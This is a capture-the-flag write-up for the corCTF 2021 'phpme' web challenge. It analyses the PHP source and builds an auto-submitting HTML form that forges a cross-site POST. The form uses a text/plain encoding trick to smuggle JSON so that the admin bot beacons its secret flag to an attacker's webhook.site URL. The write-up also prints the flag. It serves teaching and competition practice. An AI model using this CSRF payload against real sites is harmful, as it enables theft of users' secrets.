corctf 2021 ‑ phpme

Description:

"This is what normal PHP CTF challenges look like, right?" - A web dev who barely knows PHP

https://phpme.be.ax https://adminbot.be.ax/phpme  

TL;DR

<body onload="document.frm.submit()">
 <form name="frm" enctype='text/plain' action="https://phpme.be.ax/" method="post">
   <input name='{"yep": "yep yep yep", "url": "webhook", "trash": "' value='"}'>
   <input type="submit" value="Submit">
 </form>
</body>

When visiting https://phpme.be.ax, you'll be greeted with some php code:

<?php
    include "secret.php";

    // https://stackoverflow.com/a/6041773
    function isJSON($string) {
        json_decode($string);
        return json_last_error() === JSON_ERROR_NONE;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }
    else {
        show_source(__FILE__);
    }
?>

At https://adminbot.be.ax/phpme, you can submit a url for the admin to visit.

Analyzing the PHP code

At the start of the page, we see that it includes a file called secret.php, which will hide the secret variables from us: $secret and $flag.

The interesting part is where those variables are used:

 if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if(isset($_COOKIE['secret']) && $_COOKIE['secret'] === $secret) {
            // https://stackoverflow.com/a/7084677
            $body = file_get_contents('php://input');
            if(isJSON($body) && is_object(json_decode($body))) {
                $json = json_decode($body, true);
                if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
                    echo "<script>\n";
                    echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
                    echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
                    echo "</script>\n";
                }
                else {
                    echo "nope :)";
                }
            }
            else {
                echo "not json bro";
            }
        }
        else {
            echo "ur not admin!!!";
        }
    }

We first have two if-statements that check if we made a POST request and if we have the secret cookie stored in $secret.

Let's start with a simple POST request with curl.

curl -X POST https://phpme.be.ax/

We get back the message "ur not admin!!!", because we don't know the secret cookie to get past the cookie check.

Time to check out adminbot.be.ax/phpme to see what we can do.

Untitled

We must input a url starting with "http://" or "https://", and the admin will visit it. Since it has to be a POST request, we need to enter a webpage that we control so we can programatically make a POST request for the admin.

Now let's see where the flag variable is used.

// https://stackoverflow.com/a/7084677
$body = file_get_contents('php://input');
if(isJSON($body) && is_object(json_decode($body))) {
      $json = json_decode($body, true);
      if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"])) {
            echo "<script>\n";
            echo "    let url = '" . htmlspecialchars($json["url"]) . "';\n";
            echo "    navigator.sendBeacon(url, '" . htmlspecialchars($flag) . "');\n";
            echo "</script>\n";
    }
    else {
          echo "nope :)";
    }

We see that we get another opportunity to supply user input via the $body variable, which uses file_get_contents('php://input'). This is the data that's sent along with a POST request. Then the code checks if that data is valid json. If so, it extracts a url, appends the flag as POST data and makes a request (see https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon).

Summary

  1. Admin visits our webpage
  2. Admin automatically makes a POST request to the first page with valid json in order to get past the checks
  3. Admin goes to the url we specified with the flag in the POST data (sendBeacon).
  4. Victory

Making it work

I used ngrok to host my local files on the internet. I can then make an HTML page that redirects users to the phpme website using a form, which makes it easy to send POST requests.

<form name="frm" action="https://phpme.be.ax/" method="post">
    <input type="submit" value="Submit">
</form>

When I submit this form, it will send out a POST request, but we still need to add the json data it wants.

if(isset($json["yep"]) && $json["yep"] === "yep yep yep" && isset($json["url"]))

Looks like I need something like this:

{
    "yep": "yep yep yep",
    "url": "our-webhook"
}

We can use webhook.site to quickly get a url where can listen for requests. When putting this json in a form it will have a key-value pair, meaning our request will look like this:

POST / HTTP/1.1
...

name=value

But that data isn't valid JSON. We can use this trick to convert it into this:

POST / HTTP/1.1
...

{"yep": "yep yep yep", "url": "https://webhook.site/XXX", "trash": "="}

That looks like JSON to me! Let's add it to our form:

<input name='{"yep": "yep yep yep", "url": "https://webhook.site/XXX", "trash": "' value='"}'>

Finally, set the form's enctype to "text/plain" to avoid encoding and make it so that we submit the form when our page loads.

Final result

<body onload="document.frm.submit()">
 <form name="frm" enctype='text/plain' action="https://phpme.be.ax/" method="post">
   <input name='{"yep": "yep yep yep", "url": "https://webhook.site/XXX", "trash": "' value='"}'>
   <input type="submit" value="Submit">
 </form>
</body>

Now give the ngrok url to the admin and wait for the flag to arrive!

corctf{ok_h0pe_y0u_enj0yed_the_1_php_ch4ll_1n_th1s_CTF!!!}

corctf{ok_h0pe_y0u_enj0yed_the_1_php_ch4ll_1n_th1s_CTF!!!}